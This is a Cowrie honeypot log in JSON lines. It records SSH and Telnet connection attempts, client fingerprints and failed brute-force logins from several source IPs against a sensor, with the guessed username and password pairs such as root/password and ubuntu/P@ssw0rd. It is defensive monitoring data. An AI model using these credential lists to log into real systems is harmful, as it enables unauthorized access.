{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:55.006682Z","src_ip":"165.154.137.186","session":"b48656a79f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40436,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e1417fe15e7","protocol":"ssh","message":"New connection: 165.154.137.186:40436 (10.17.0.5:22) [session: 6e1417fe15e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:55.171163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:55.175473Z","src_ip":"165.154.137.186","session":"6e1417fe15e7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:55.419143Z","src_ip":"8.210.75.243","session":"ca7a8bce712a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:55.449050Z","src_ip":"165.154.137.186","session":"6e1417fe15e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:55.578065Z","src_ip":"165.154.137.186","session":"ddb6b0a7065f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:55.775222Z","src_ip":"165.154.137.186","session":"b48656a79f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:56.271577Z","src_ip":"165.154.137.186","session":"6e1417fe15e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:56.864951Z","src_ip":"165.154.137.186","session":"ddb6b0a7065f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:57.032747Z","src_ip":"165.154.137.186","session":"b48656a79f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:57.547798Z","src_ip":"165.154.137.186","session":"6e1417fe15e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":43988,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cd0622052ff","protocol":"ssh","message":"New connection: 103.77.175.15:43988 (159.203.135.109:22) [session: 3cd0622052ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:58.054670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:58.058886Z","src_ip":"103.77.175.15","session":"3cd0622052ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:58.210506Z","src_ip":"8.210.75.243","session":"ca7a8bce712a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:58.296103Z","src_ip":"103.77.175.15","session":"3cd0622052ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem19","message":"login attempt [root/artem19] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:59.014706Z","src_ip":"103.77.175.15","session":"3cd0622052ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35052,"dst_ip":"10.17.0.5","dst_port":22,"session":"beb9197409b4","protocol":"ssh","message":"New connection: 165.154.137.186:35052 (10.17.0.5:22) [session: beb9197409b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:59.130241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:59.133897Z","src_ip":"165.154.137.186","session":"beb9197409b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:59.551445Z","src_ip":"165.154.137.186","session":"beb9197409b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:00.254956Z","src_ip":"103.77.175.15","session":"3cd0622052ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:00.330922Z","src_ip":"165.154.137.186","session":"beb9197409b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:01.588353Z","src_ip":"165.154.137.186","session":"beb9197409b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36292,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6f6cf092f7c","protocol":"ssh","message":"New connection: 165.154.137.186:36292 (10.17.0.5:22) [session: a6f6cf092f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:02.019298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:02.023612Z","src_ip":"165.154.137.186","session":"a6f6cf092f7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":41186,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b9a5500a64d","protocol":"ssh","message":"New connection: 2.57.122.209:41186 (10.17.0.5:22) [session: 8b9a5500a64d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:02.089587Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:02.296867Z","src_ip":"165.154.137.186","session":"a6f6cf092f7c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:02.526168Z","src_ip":"2.57.122.209","session":"8b9a5500a64d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:02.529364Z","src_ip":"2.57.122.209","session":"8b9a5500a64d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.31.115.157","src_port":47552,"dst_ip":"10.17.0.5","dst_port":22,"session":"d52303cd251d","protocol":"ssh","message":"New connection: 113.31.115.157:47552 (10.17.0.5:22) [session: d52303cd251d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:02.741693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:02.747695Z","src_ip":"113.31.115.157","session":"d52303cd251d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:02.961033Z","src_ip":"113.31.115.157","session":"d52303cd251d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:03.139308Z","src_ip":"165.154.137.186","session":"a6f6cf092f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00190734863281,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:03.639710Z","src_ip":"170.64.224.25","session":"55c5711beb25","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$sw0rd","message":"login attempt [root/P@$sw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:03.841226Z","src_ip":"113.31.115.157","session":"d52303cd251d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:04.415024Z","src_ip":"165.154.137.186","session":"a6f6cf092f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:05.422126Z","src_ip":"2.57.122.209","session":"8b9a5500a64d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:05.721665Z","src_ip":"113.31.115.157","session":"d52303cd251d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36294,"dst_ip":"10.17.0.5","dst_port":22,"session":"95ddfbbcede7","protocol":"ssh","message":"New connection: 165.154.137.186:36294 (10.17.0.5:22) [session: 95ddfbbcede7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:05.799987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:05.805082Z","src_ip":"165.154.137.186","session":"95ddfbbcede7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:06.083407Z","src_ip":"165.154.137.186","session":"95ddfbbcede7","protocol":"ssh"}
